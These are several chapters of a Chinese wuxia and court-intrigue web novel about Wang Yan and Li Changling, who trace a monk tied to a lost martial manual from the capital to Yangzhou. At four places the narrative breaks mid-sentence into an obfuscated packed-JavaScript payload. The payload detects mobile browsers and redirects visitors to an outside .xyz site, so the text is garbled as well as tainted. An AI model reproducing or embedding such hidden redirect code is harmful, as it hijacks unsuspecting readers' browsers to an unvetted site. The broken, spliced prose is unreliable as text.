繁冗的仪式走完，已过申时。送走大部分宾客，王琰才得以喘一口气。 卫王不但来了，还独与王琰说了话，愈发证实外人的猜想。 然益王妃、礼部陆尚书的四公子、兵部崔尚书的二公子、工部赵尚书的大公子……余下六部里的未婚公子都来了。 皆传言是淑妃娘娘选中王家，现下怎么反像是王家择起婿来了？自然这些人都在被送走的宾客之列。 不少人对李长凌的出现大吃一惊，听李长凌唤李氏为“姑母”后又吃一惊，江湖秘闻可比这笄礼有趣得多啊。自李长凌的身份明朗，不知多了多少双眼睛盯着，就连贺礼的木盒花纹，明日也会传遍市井街坊。 笄礼进行到一半才姗姗来迟的沈明淮，一眼便瞧见人群中偷摸来观礼的华信，如今被李长凌扣在后院对弈。棋局正焦灼，王琰还未来得及将衣裳换下，穿着华服便来了。 今日着妆比百花宴更为正式，鬓边、额前皆缀有珍珠，头戴花冠，粉面朱唇，步步生莲。褪去江湖豪侠义气，以天地为枝蔓，凝成亭亭玉立的王家女，王琰。 沈明淮怔了片刻，旋即敛神，视线移回棋盘上，“李少侠，承让。” 王琰快步走过去，“师兄你输了？！” 李长凌潇洒将衣摆一扬，“自你兄长之后，鲜有对手，乃是幸事。你这朋友，我交了。” 沈明淮抱拳以示敬意，“览之兄不但武学造诣颇高，棋艺也如此超群，明淮佩服。” “师兄今日不用给我煮面了。” 王琰仗着生辰，极为霸道地使唤一句。话是对李长凌说的，眼睛却意味不明地盯着沈明淮。 李长凌双手抱臂，“怎么觉着……有人心怀不轨。” “每年都吃你做的，我要换换口味。”王琰笑将两弯明月挂在眉下，还带着些许势在必得，“今日不知能否劳烦沈公子。” 筮日为今岁谷雨，正巧也是王琰的生辰。 李长凌扬声道：“嚇！一碗长寿面还能给你做出花来？” 从进这院子到现在，沈明淮便未与她说过一句话，且今日竟半途才来，王琰以为，他们起码算朋友了。这么善变，这人是属朱宫的吗？ “未备贺礼，做碗长寿面不难罢？”王琰圆眸微眨，实则窝着些气。 沈明淮随即从怀里拿出一枚环形螭纹佩，羊脂白玉雕刻而成。王琰勉为其难地接过，拿在手上仔仔细细地看。 李长凌啧声道：“价格不菲罢？” “尚可，不及览之兄宝剑的十分之一。” 王琰气还未消，沈明淮便被王桢请离府，当真……一句话都没说！今日可是她生辰！ 二人走后，王琰拽住李长凌的袖子，耍起脾气来，“师兄，我饿了。” 李长凌睨她一眼，“不是说腻了吗？” “师兄。” 李长凌这才瞧出她的不对劲，“等着。” 没过多久，李长凌将色香味俱全的长寿面端到她面前。 “吃了面，就得消气。” 王琰捧着碗吹了吹，“我没生你气。” “不是说我。” 李长凌襟膊还未取，与使剑的样子相比，有些傻气。还是熟悉的味道，王琰心情舒畅不少，“我还可以再吃十年！还是师兄最好了。” “吃罢吃罢，师兄每年都给你做。”李长凌抚了抚她的头顶。 “一碗面就将我妹妹拐走。”王桢背着夜色走进来。 李长凌叉腰道：“也是我妹妹啊。” 王桢径直走过，“你不算。” 李长凌来劲了，一把揽过王桢的肩膀，“我怎么不算？你妹妹就是我妹妹，我妹妹就是你妹妹。” 王桢挣开他在王琰对面坐下，“我就这一个妹妹。” 李长凌解开襻膊丢在桌上，“我难道还有其他妹妹？” “以后可说不准。”王琰笑着嘟囔一声，攥着玉佩转身回房。 白发老翁怎么拿着我的玉佩？ 王琰定睛一瞧，他右手还有一枚环佩。老翁将两枚玉佩叠在一处，竟相当契合，仿佛原本就是一对儿。 王琰方要追上去问，迷迷糊糊间听到了李长凌火急火燎的声音。 “阿潆，王琰，王文璇，王娘子，日上三竿还不起身——” 桑荇从别处走来，道了万福，“李少侠，何事这般急？现下刚入辰时，约莫再过半个时辰，娘子才会起身，少侠不若等等。” 李长凌忙道：“确有急事，还劳——” “何事！” 王琰趿着鞋忿忿打开房门，“这天阴的待会儿就要下雨，日上三竿个什么劲？” “出事了。” 王琰面色一沉，旋即回房更衣梳洗，来到王桢的书房，听他将缘由草草叙述一番。 “今早白百道送信与我，言坊间有传闻，览之原要贺的礼是一本武学秘籍，只不过在来上京的途中不慎丢失，现下落不明。” 王琰语塞，“这么扯的传言也有人信？昨日师兄送的是本菜谱啊，我当着许多人的面打开的。因为丢了，所以放了本菜谱？好没道理。” 李长凌问道：“是何秘籍？” “止水心经。” 这四个字一出，王琰与李长凌当下骇然，相视一眼，思绪杂乱。 怎会……王琰再次确认道：“那本亡佚百年的心法？” 王桢神色凝重地颔首。 王琰忽记起，昨日放菜谱那木盒子……遂幽怨地望向李长凌，“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王琰亦十分发愁，“这下难办了……静心？可不曾听过这号人。” 王桢又将静心的情况大致说了一遭。此人是觉明大师亲传弟子，坊间皆言他亦魔亦佛，专为一些死因不明的逝者超度。 李长凌敏锐抓住疑点，“死因不明？” 王桢解释道：“有的是因有损颜面不愿说，有的则是与鬼神攀上关系尔尔。此人行踪不定，寻到的几率，怕是不大。” 王琰本欲从静心入手，不想第一步便难走。 李长凌道：“这有何难？去大相国寺问问不就晓得了。” 他二人现下被江湖与朝廷两方盯上，王桢如何放心得下，却也自知拦不住他们。 “觉明大师极其维护这个徒弟，你们怕是要费些心思。” 李长凌与王琰即刻动身前往大相国寺，两人前脚刚走，王桢便被下朝回府的王甫直叫去书房。方掩上门，外边星星点点下起雨来，惊雷作响，将整个上京泼得湿透，鸟儿依旧在树上鸣叫春日。 今日是开放集市的日子，本应热闹非常，却被大雨浇了个透。大雄宝殿上过香后，李长凌叫住殿外的小沙弥，说要向觉明大师请教佛法，随即被带至知客寮。 “方丈外出讲经，小僧为二位施主引见监院师叔。” 屋内坐着的分明是觉明。 12. 大相国寺 “阿弥陀佛。李施主，王施主。” “方丈认识我二人？”王琰有些诧异，莫非觉明早便算到他们会来。 这位法号觉明的僧人，不惑之年便成了大越第一禅师，从不涉党争，无论正邪，碰上他皆让三分。现下已值古稀，却十分健朗。 觉明为他们斟茶，似是十分和善，“李施主名震江湖，王施主的笄礼亦可谓名噪京城。” 李长凌未搭话，却问：“大师与师父是故交罢？” 王琰又道：“师父他老人家还想着何时与您再见一面呢。” “人生不相见，动若参与商。”觉明笑了笑，作出请姿。 王琰这才端起茶抿了一口，“大师与师父皆身体康健，定会有重逢之日。” 李长凌顾不上喝茶叙旧，直言：“觉明大师，长凌便不绕弯子了。我们此番来，是想问问静心禅师。” 觉明拨着檀木佛珠，又念了个“阿弥陀佛”，“静心常常四处奔走，念经祈福，老衲亦不知他今在何处。” 李长凌紧接着道：“听闻四个月前静心禅师还在大相国寺。” 觉明依旧捻着佛珠，“凡人，各有其未尽之事，去往何处，归向何方，又岂是由老衲定夺的。” “看来方丈是不愿告知了。”王琰知他们惯会顾左右而言他，要从觉明口中得知静心的去向，想来不易。 “非是不愿，而是不知。” 根本不是对手啊……王琰只好偃旗息鼓，无言看向师兄。李长凌思虑片刻，还是决定和盘托出。 “大师想必也知我们是为《止水心经》而来。不瞒您说，此秘籍我二人曾见过，非是传言中的至高心法，而是炼丹邪术。只因‘至高’二字，今觊觎者众多，若是落入心思不正之人手中，后果不堪设想。佛曰以慈悲为怀，若大师不愿告知静心禅师的去向，怕是要枉死很多人。” 最后一句话虽然重了些，有道德绑缚之嫌，但事实便是如此。觉明亦沉默了。 李长凌见他有松口的迹象，赶忙又道：“大师既言长凌名震江湖，想必也知我从不拿这些事扯谎。我用李长凌之名相保，以上所言，均为属实。” 觉明叹了口气，一切因果皆是注定，他又能拦下什么呢？也罢。也罢。 “四个月前，扬州一户人家请他去做法事，此后老衲便再无他的消息。” “四个月前？”王琰忽觉蹊跷，“还是扬州？我们四个月前正从扬州离开，往上京来。” “既是做法事，应不会悄无声息才是……”李长凌想起王桢的话，莫非逝者死因非常。 觉明已将所知悉数相告，那户人家未在信中言明过多，只是请静心走这一趟。 王琰一杯茶饮尽，看来大相国寺线索尽于此。她随李长凌起身合掌，“多谢大师指点。” “阿弥陀佛。” 走出禅房，凉风直面袭来，王琰打了个寒颤。 李长凌撑开伞递与她，担心道：“快些回府，小心着凉了。这雨来得真突然。” “阴了好些天，这雨早该下了。”王琰与他快步朝寺外走去，雨天来寺庙的人亦不少呢。 收伞后甩落一地的雨水，瓢泼之势总算有所收敛。 “觉明大师外出讲佛去了，不知何时才归。” 沈明淮早便料到此行会吃闭门羹，但眼下他只能去大相国寺试试。方才他与父亲的争执再次浮现在脑海中。 快步迈入书房看到父亲，只是在平静翻阅着自己旧作。问安后屋子便陷入了沉默。 “你在怨我。”沈鼎臣连头也未抬。 他视线微垂，“儿子不敢。” 沈鼎臣冷哼一声，“你有何不敢的？别以为我不知你上舍试的那点心思。” 他恭敬回道：“君令难违。” “君令难违？煦儿与我说了，是你，自请离京。” 他时常不知，钱煦与他，谁才是父亲的儿子。彼时无人知，那次上舍试竟会是最后一次。今岁始，为仕只科考一条路。今秋，科场再开。 “此事你无须插手，好好准备秋闱。” 他依旧立着不动，只道：“儿子会去寻到静心，将他带回京，为您正名。” 父亲怒言：“天威！岂容你我置喙？”顷刻又恢复平静，“一个定国公倒了，还有下一个。” 他不自觉地握紧双拳。 “父亲，我从未想要成为定国公。那是您的功名，不是我的，亦不是我想要的。我会找到那个和尚，您仍会是定国公。” 父亲喝道：“逆子！这名，你以为你想正便能正吗？此事是我疏忽……你找不到那个和尚。” “我会找到那个和尚。” 方才还执拗地重复一遍又一遍，如今第一步就难行。还未走近，便看见坐在堂内的钱煦。 “可有那和尚的消息？”钱煦不等他回答又道，“看你这个样子，想是碰了一鼻子灰。” 见沈明淮依旧未开口，钱煦宽慰道：“你也别什么事儿都憋在心里。舅舅就是这犟脾气，有事儿总不让你我参与，就这么一个人扛着。只是从前那些都是莫须有的罪名，如今他身后纵有不少文官，但……” 下朝后，钱煦立即前往大理寺求证，不想物证属实。不知从何处发现了静心与沈鼎臣的往来书信，字迹无误，上面记述了大藏经译本的获取时间到刊印售卖的过程。 “定是我那好三哥的手笔。严谟与他的关系，明眼人谁不知。只是这回物证确凿，静心怕是翻案的唯一机会。” “我会找到他。” 沈明淮只这一句话。尽管他早已深陷这大片泥潭之中，却不会放任此事的真相石沉大海。 钱煦一向信任沈明淮的能力，“有任何需要帮忙的，尽管说。舅舅的清誉绝不能让御史台那帮人毁了，不过我不好正面帮你，还须多靠明淮你自己。” 卫王走后，尹士成才走过来。 “公子，方才王——娘子派人送来一份吃食，属下不敢擅作主张，就先放在庖厨了。” 沈明淮揉揉眉心，眼眸中的一丝暖意迅速被暗色占领，随即让他们将点心分了。未过多久，尹士成又拿来一封信。食盒里是一份香糖果子，信便放在底下。 「吃些甜食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈明淮的侍卫中，卷桃只见过应冥两次，尚不确定，“好似是应冥。” “御史严谟上奏弹劾，折上参定国公私下刊印佛经，与大相国寺静心结党谋取巨额私利。物证齐备，唯不见静心。官家大怒，下令勒停查办。” 她与李长凌从大相国寺回来，便从兄长处听闻此事，只是不想竟也与那静心有关。近来局势不明，王桢还特地嘱咐她好好待在府中。上京怎会有扬州安全。 王琰止住手中的动作，走到桌前坐下，取出玉瓶，打开嗅了嗅，确是去岁新贡的上好膏药。唇边随即生出一抹笑，她将盒子合上，随手扔进包袱中，又让卷桃将桑荇唤来。 “明日去打听打听商念遥在何处，我要出门一趟。” 卷桃记起家主的交代，担忧道：“娘子正烫伤了脸，现下出去，怕会落人舌根。” 王琰将包袱裹好，“就是要让他们说去，不若我如何离开上京？” 13. 观猴耍宝 自王琰烫伤了脸，源源不断的“关心”送进府里。 “好了么？” 王琰仰着头，捣鼓了三刻钟，脖子都酸了。 “快了快了。”李长凌正为她粘上一道伤疤。 “大功告成。” 卷桃将铜镜拿来，王琰左瞧瞧，右看看，真得不行。 李长凌再次嘱咐她，“切忌夸张的表情。” 平素闯荡江湖，王琰那一脸的麻子与大媒婆痣，也是李长凌的手笔。在改易面容这方面，他也算是颇有天赋。 王琰应下，拿上帷帽便出了门。夜色尚浅，瓦舍里已满是前来观看药发傀儡戏的百姓。 王琰来得迟了些，前面乌泱泱的全是人，好在她不是来看戏的。仰头踮脚寻了好一会儿，低声道：“桑荇确定没弄错罢？怎么不见人呢？” 卷桃附耳回道：“桑荇姐姐办事从未出过差错，娘子可放心。” 人群流动了片刻，王琰又仔细寻了半阵，终于捕捉到那抹熟悉的倩影。着茄花色褙子、霁青色百褶裙的女子，正偏着头与旁边青莲地龙凤云纹锦袍的男子说话。 大约是周遭过于喧嚣，那男子微微侧身，原来是卫王钱煦。 “原来公子也喜欢看药发傀儡么？”商念遥凑近些问。 钱煦点点头，“处理了一日的公务，再来看看这个，别提多自在。” “公子经常来？” 钱煦叹气道：“偷得半日闲，今儿才得空来看一遭。” “难怪，念遥往日来却不曾见过公子。也是今岁上元节，念遥陪小弟来看，一次便喜欢上了。后来倒是念遥常念叨着，小弟都听烦了。”商念遥提及弟弟，脸上泛了些柔色。 钱煦笑意浮上唇边，“小孩子的喜好，总是来得快，去得也快，就图新鲜。” 夜色沉下来，傀儡戏开始了。今日演的是一出门当户对的官人娘子，被当地恶霸拆散，最终战胜困难、修成正果的故事。高数十米的竹竿立于地上，火花不断扶摇而上，揭开一幕又一幕扣人心弦的情节。 王琰尽管站在后面，也瞧得很清楚。药发傀儡实在精彩，她亦入了迷，不知不觉地被牵进官人娘子的羁绊中。 在观者的细声低呼中，卷桃的一声大叫便格外引人注目。有人突然抓着她的脚，以为是鬼，低头一看才知是一个女娃娃。 前边的人齐齐转身看过来，火花正攀到最盛的高度，一瞬迸发的火光在风适逢其时的助力下，将王琰整张脸照得清楚。前面两个人亦回头看着她，皆露出惊异的神色。 王琰忙将帷帽合上，周遭看清她容貌的人小声议论起来。钱煦喊住转身离开的她，拨开人群往外走，商念遥紧随其后。 离人群几丈远后，王琰才停下，窘蹙向钱煦行礼，“见过殿下。” 钱煦刚想扶起她，王琰已重新站直。 “这里没有什么殿下，只有公子和娘子。” 商念遥放缓急促的步子，从后边走上来，提议道：“不若去茶坊坐坐？” 于是三人就近寻了个茶坊，在一个雅间坐下。 王琰待他二人入座，方才开口：“帷帽摘了怕是会吓着殿下和姐姐，还请殿下恕民女无礼。” 钱煦招呼道：“都说了没有什么殿下。快坐，不用拘礼。” 商念遥与钱煦相对而坐，“文璇坐罢。” “谢殿……公子。” “那日去你府上被赶了出来，还忧心你因此想不开，”商念遥拉着她坐下，“出来散散心也是好的。” 王琰低头道：“姐姐言重了，那日是我刚伤了脸，情绪阴晴不定，方才怠慢了。姐姐莫怪。” 商念遥握上她的手，“我怎会怪你。文璇也喜这傀儡戏么？” 王琰只定定地坐着，“姐姐也知我许久不曾出府，有人与我说，上京的药发傀儡可谓一绝，我便来瞧瞧。不想姐姐与公子也在。” 钱煦还未开口，商念遥旋即揶揄道：“莫非是沈公子？上巳节那日，我瞧你们颇聊得来，想是关系很好。” 王琰将茶杯端到绢下，轻轻抿了一口。明明隔着白纱什么也瞧不清，钱煦却觉得她一定在笑。 “如何？” 王琰其实瞧不清他们的神情，“平素喝惯了北苑茶，公子应喝不惯这个。” 钱煦握起茶杯又放下，“下回送你一些。” 商念遥顺势关心起她的脸来，“我送去的膏药可用了？怎的不见好。” “丹软膏可是上好的治烫伤膏药，也无用？” 钱煦还是那副慵懒模样，手垂在膝上，晃着腰间玉佩。可上扬的语调，有意无意地沾上些天家的威严。 送来的药，自然是全部收入库房了。王琰摇摇头，楚楚可怜道：“这伤毫无起色，倒辜负了公子与姐姐的一番好意。” 商念遥宽解道：“药有何可惜的，还是你的伤要紧。” 钱煦又问：“上京就没有能医治的大夫？” 王琰黯然垂眸，“家父寻遍全城名医，皆无法可施。表兄在江南曾闻有一位妙手游医，能将人满脸脓疮痊除，预备带我去碰碰运气。” 钱煦语气不悦，“你要离开上京？” 王琰颔首道：“死马当活马医罢。” “你从未离开上京，又大病方愈，舟车劳顿，怎吃得消。” 原来“没有什么殿下”是这意思。以公子之名，行逾矩之事。王琰放下茶杯，愈发客气，“多谢公子关心，我的身子已无大碍。” 好似察觉到她的疏远一般，钱煦旋即转变态度，摆回平易近人的公子姿态，“是我多虑了。前些时日听闻娘子游了夜市，我尚未游过，一道去瞧瞧？” 沈明淮竟连这事也与卫王说了么？王琰嘴角勾上一抹笑意，“我亦只去过这一次，不甚了解。念遥姐姐去得频些，想来是比我熟悉。姐姐可否替妹妹担此重任？” 最后一句，颇有些撒娇的意味。 商念遥笑道：“自然。你我的关系，还有什么不能帮的。公子若不嫌弃，可与念遥同去。” 钱煦早已料到王琰会这般推辞，“娘子不去，是不愿与我二人一道？” “怎会。只是出门前家兄叮嘱不可贪玩，现已有些时候，我也该回去了。” 不等对面二人有所反应，王琰已预备离开。起身时，腰间玉佩不小心碰到桌沿，遂随手捋了捋穗子。 “羊脂白玉。”钱煦忽道。 “公子慧眼。” 方要抬步，忽记起什么似的，王琰又道：“姐姐今日又只带了一位婢女出门罢？时候不早了，回府时当心着些。” 王琰干脆离去后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李长凌拿着一封信走进来，撩袍坐下。是嬴君棠写的回信。 “虽不排除有同名书的可能，但那句‘鉴于流水，止止众止’，是师娘为这本心法作的释名。” 早年，嬴君棠因缘巧合得了一本东瀛文写成的道书，遂将其转译为越文，未曾与人传阅。因此她手中的《止水心经》确是孤本，不过早已销毁。静心手中的便是此译本，却不知被何人抄了去，落入这和尚手中。 “师娘让我们尽快将此人找到，以免再生变故。” 王琰思忖道：“扬州下辖江都、高邮、天长三县，我们该去何处寻一个死因不明的人？” 李长凌早有办法，指出一位友人。王琰倒是忘了，在扬州这么些年，还是有些根基在的。 “对啊！明日我们换水路，去江都。” 二人弃了马车，换上寻常兄妹衣裳，一早来到码头打听下扬州的船。正巧明州祝家的商船行往扬州，搭便船不收一文，就是须向船主献上一宝，方可获得上船的资格。宝不限于物，亦可是吟诗作赋、杂耍技艺一类。 闻此，王琰将茶杯重重往桌子上一搁，“这不是观猴耍宝吗？欺负人！” “二位可有何过人之处啊？” 14. 黑的说白 是了，在李长凌的不断撺掇下，她还是来了。 “这可是最近的一艘船，错过了免不得要再等几日。” 但她既不会作诗，又无甚绝技，如何入祝家法眼？王琰实则更忧心这个。 李长凌大步走在前面，提议道：“你不是有落花剑法？足矣，足矣。” 王琰追上去踢他，却未得逞，“嘲笑我的落花剑法？别小瞧它，忽悠这些纨绔可是绰绰有余……” 二人被僮儿引带上船，进门便见一男子面如傅粉，锦衣玉带，手执折扇，懒坐在席上，声音亦是慵懒。 李长凌瞧向男子手中的折扇，佯装猜测道：“公子这把折扇甚是精美，扇面这幅《落霞孤鹜齐飞图》，画工高绝，似是妙手丹青赵吉存的手笔。” “好眼力！” 那男子不掩自傲之气。重金购来的画作，不拿出来供人赏识一番，那可真是白费钱财。 李长凌言未尽，接着道：“可惜，此作实为赝品。” 男子脸色一瞬阴沉下来，“这可经高人鉴定过，怎会有假？” 李长凌叉腰摆手，“那公子可得小心此人，指不定经他手鉴定的，皆非真迹。” 男子走到李长凌面前来，冷笑一声，“你最好能道出个所以然来。” 李长凌不慌不忙，徐徐道来。 “想必公子也曾听闻赵吉存只作有那么一幅《落霞孤鹜齐飞图》，有人曾出千两高价，他都不卖，后赠予一位萍水相逢识得的友人。除非是那位友人转卖于你，不若这世间再无第二幅《落霞孤鹜齐飞图》。就算是妙手丹青自己，也无法再画出一模一样的来。” 王琰配合着在旁点头，心想师兄又要展示他最擅长的本事了：将黑的说成白的。 男子将折扇一转，“你又如何得知，这不是那友人卖与我的？” “此画作落印当有一个墨点。” 男子将扇面拍到李长凌眼前，神气地指着落印之处。 李长凌仅扫了一眼，胸有成竹道：“世人皆以为是他落印后不小心滴上去的，却不知那墨点是滴在了名章之上。滴墨与印墨的区别，公子想是清楚的罢？” 男子转回折扇仔细查看起来，后又抬首狐疑地看向李长凌，“我怎知你不是为了诓我杜撰的？” 李长凌掏掏耳朵，“在下有何必要欺骗公子？无论真迹或是买画的钱财，在下都不沾半分。不过于丹青赏鉴一道，粗通其法，故提醒一二。若公子信，在下便得个便船的好处；若不信，在下也只是失个搭船的机会，仅此。” 男子私下想来觉得有理，将折扇一合，忿忿道：“史示那老狐狸！本公子回去便将画重新鉴一遍，若真如你所言，我必不饶他。”又略带敬意地抱拳，“在下祝尧。” 李长凌回礼，“在下李朗风，这位是表妹王清月。” “清风朗月不用一钱买，”祝尧右眉一扬，意味深长地笑了笑，“二位名字倒颇有意思。王娘子？” 王琰本想随意搪塞过去，这下倒好，李长凌何时学会了鉴画，她便只能硬着头皮使个落花剑了。 走到岸边桃树下，王琰随手抽出一护卫的佩剑，道了句“失礼”，旋即在树下舞起剑来。剑气挥落漫天桃花，迭裙旋起一阵花香。一舞毕，最后一瓣花稳落在剑锋上。落花剑法，势如其名。 王琰将剑插回剑鞘，祝尧拍手叫好，“好一支剑舞！” 方才舞剑之时，吸引了不少人注目，其中不乏习武之人。 有人暗道：“这不是流霜剑法吗？！” “流霜剑法？李长凌的流霜剑法？！不可能，李长凌未曾收过徒弟……”祝尧惊愕地看着他二人，“你方才舞的当真是流霜剑法？” 王琰赶忙摆手，“我这剑法名唤落花，只是与流霜剑法有几分相似罢了。” 祝尧不吝夸赞，“小娘子这以假乱真的功夫，倒与李兄识假辨真的功夫，相得益彰。” 李长凌哈哈大笑，“我二人就凭这雕虫小技混些饭吃，不想今日叫祝兄都瞧了去。” “是祝某之幸。午后便启程，二位若无事，现下便可登船了。” 三日后抵达扬州。谢别祝尧，二人一下船便赶往州署。 “小贺大人！” 王琰轻车熟路走进堂内，高声呼道。 贺帆快步迎出来，“琰儿！览之！” 李长凌却未与他亲热叙旧，四面打量一遭，“贺扬州，你这——满面春风啊。” 贺帆忍俊不禁咳了一声，“近来多了个身份……父亲。” “呀，恭喜！”王琰因着李长凌的关系，与贺帆相熟，与他那个娘子往来却不多。 “好啊你，这不得请我俩喝一杯，散衙了罢？”李长凌怎会放弃这个讨酒的大好机会，一把揽过贺帆，直念叨，“你不知我在上京是有多想念临江仙的猪里肉和素面……” 向晚，临江仙灯烛荧煌。风霜雨雪，寒暑昼夜，此处总是鼓乐齐鸣。付掌柜将他三人带至二楼滨江雅间。 贺帆一面登阶，一面叹道：“你们这祖传的经商本事，四海之财皆分得一杯羹。” 临江仙以两浙一带特色菜为主。扬州因水陆交通极其便利，贸易集散极盛，聚集了天南地北的商人。北人好甘，南人嗜咸，选的厨子亦是深谙肴馔风味的当地人。临江美景，弦乐美人，日进斗金不在话下。 王桢第二次到扬州就盘下这座楼阁，在这闹市的近水处开起酒楼。王琰彼时虽才十二，却也嚷着要参与酒楼的经营。最初是七三分，后成五五分。王琰去岁及笄后，王桢已将主事权转让给她，不过此事她未与旁人说起，大伙儿也还不知情。 待付掌柜一走，王琰旋即伸了个懒腰，“还是扬州好，空气嗅着都清新不少。” 贺帆笑道：“咱扬州风水养人，比起你那规规矩矩的上京，自然逍遥又自在。” 王琰忙道：“嗳，可不是我的上京，大人可慎言。若非大人治理有方，大伙怎能安居乐业？” 贺帆与李长凌赞道：“瞧瞧，琰儿的嘴还是这么甜。” 李长凌悠悠喝了杯茶，“你又不是不知道，她张牙舞爪起来，三里外都要避着走。” 王琰眼眸微睨，“你给我好好说说，我何时张牙舞爪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276286|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “错了错了，是敬鬼神而远之，免得沾染了我等的凡俗之气。” 李长凌又附在贺帆耳畔说道，“那卫王只要多与她说些话，那叫——一副如临大敌的样子。” 贺帆诧异地看向王琰，“是那个卫王？” 王琰极稳重道：“我若不如临大敌，真叫他纠缠不清，可是悔都来不及。” 李长凌似是认可地点点头，“不无道理——故而看戏还特地戴上那枚玉佩，真是会物尽其用。” 王琰哼声道：“我现在也带着好么？此等美玉，不戴着才是可惜呢。”虽然她知他用意并非出于真心，可她又何时对他真心了。 两人拌嘴，只贺帆听得云里雾里的。李长凌转着茶杯，打趣道：“我们阿潆又与傅吉徵的小徒弟勾搭上了。” 王琰白他一眼，“勾搭？我与他可清白得很。” “哦——”李长凌转头又与贺帆道，“原来她没那个意思。那小子长得挺好，人也聪明，他老子既有钱还有权。” 贺帆好奇道：“谁家公子，还未入朝罢？” 李长凌神秘兮兮道：“猜猜。” “定国公。”王琰结束这无聊的猜谜游戏。 “定国公？！原是定国公之子……”贺帆仍是诧异，随即叹了一口气，“不过近来那个丑闻，上京的局面怕会大变。” “消息竟传得这样快，”李长凌很是无奈，“是啊。我们亦被牵连进来了。” 贺帆惊道：“为何？” 李长凌将静心一事大致叙述一番，言明他们此行便是为寻那和尚而来。王琰已不知何时走了神。 “那和尚竟在此？”贺帆爽快道，“你们放心，明日我便着人去寻。只要是我能帮到的地方，尽管说。” 李长凌严色求助，贺帆便知此事非同小可。 “此人于年前离京，至今已四月有余，现下极可能已不在扬州。” 忽又止了话头，待小二陆续将菜上齐退下，李长凌才将话题再次引回静心身上。 “他此番来扬州是为人做法事，我们须找到那户人家。” 贺帆不禁面露难色，“生老病死乃世间常态，每月做法事的人家不少，且并非每位死者都能及时登记在册。扬州这般大，怕是有些难找。” 王琰回神，这才开口道：“请静心做法事的费用可不低，且十分看重名节，法事或许是悄悄办的。这样的人家，应是有记录的。” 贺帆应下，明日便领他二人去架阁库核查。王琰仍是愁眉不展，李长凌知她定是另怀心事。 “怎么了？” 犹豫再三，王琰将纠结之事道出：“若沈明淮亦来了扬州……可会合作？” 李长凌似乎对此事早有思量，言语间含有与他合作之意。 “可心法一事如何能对外人说？”王琰觉得此举不妥。 “有时候过分真诚反倒是一种逼迫。无论是合作还是交友，都应给对方留一定的余地。” 王琰好好将李长凌这话记下了。他有他无法袒露的缘由，我有我不得不守的秘密。只是各取所需罢了。 15. 奸尸 一早，王琰与李长凌赶到州署，上千册书已堆成小丘一般高。这些已是贺帆让人筛过的结果。 王琰看得直愣神，如此之多，要看到何时啊。所幸贺帆拨了些人手来帮忙。未等她回神，李长凌已拿着一册查上了。贺帆留下五人与他们后，马不停蹄地又去处理公案。 王琰放下一册又一册，日光从烈如银镜化作点点碎金，落在案册上。舒筋活络的时候，骨头都嘎吱作响。终在州署闭衙之前，将所有死因不详的几户人家找了出来。 魏家五公子，年仅十五；何家长女，年仅二十有一；古家长孙，年仅八月。 四个月前，记录在册、死因不明的便是这三个人。 一放衙，贺帆便急匆匆回家去了，李长凌还未来得及再邀他一块吃饭，干脆就近到夜市中人流最盛之地应付两口。 李长凌付十文钱买了两碗馄饨，后在王琰旁侧坐下。后侧两个衙役饭时闲谈，语调那是一个抑扬顿挫，故事都听起来有趣极了。 “听说了吗？近来城中奸尸那事儿。” “早传得沸沸扬扬了，谁不知。据说江都县那帮人，现在都还未抓到那个疯子。” “还未抓到？真真那叫什么来着，尸……尸……” “尸位素餐。” “对对对，尸位素餐。那疯子精得很，一点风吹草动都瞒不过他，跟开天眼了似的，江都县那帮人次次落空。” “哪是开天眼？我看八成是衙里有人。这么久抓不着，他们好似不打算管了，总归也没出什么大事。” “是这个理，石子冈那片，净是孤魂野鬼。这疯子口味独特，现下还没找到喜欢的罢？这里，绝对不正常。” 李长凌忽地坐过去问道：“两位大哥，你们说的可是西郊那个石子冈？” “是啊，全城不就那一个乱葬岗。” 一个衙役上下打量他，只觉眼熟，又想不起在何处见过，“你外乡来的？” “我？地地道道扬州人。”李长凌旋即说了两句吴语，“不想离乡数月，竟发生了这样的事。二位大哥可知官府上一次抓捕是何时？” 另一个衙役道：“前几日。刚开始抓的时候，整夜守在石子冈上，结果满地的苍蝇，就是不见疯子。现在都是有人报官才去抓，更抓不着了。” 李长凌顺势摇头叹气。 那衙役又道：“今日便有人报官，今晚又要去了罢？” 李长凌谢过，走回拉起王琰，二人直奔西郊而去。 “官府今夜行动，他怎会在？”王琰不解道，“还有，我们为什么要掺和这事？” “都和尸体相关，说不定有收获呢。” 王琰扯扯嘴角，“羊肉和牛肉还都是肉呢，你怎不吃羊肉？” 李长凌打了个寒颤，“羊肉，这世界上最膻的东西，枉为肉类。” 王琰瞧了他一眼，没再说话。 这个时辰，西郊坟地自是没有人的。那群假模假式的弓手，转了一圈便离开了，竟连他们也未曾发现。散伙后，有一位鬼鬼祟祟地往大伙相背的方向去了。李长凌当下决定折返石子冈。 月抱乌云半遮面，微弱的光照在这片满是坟头的土地上，今夜无风，除去他们的脚步声，连鸟鸣也不曾有。 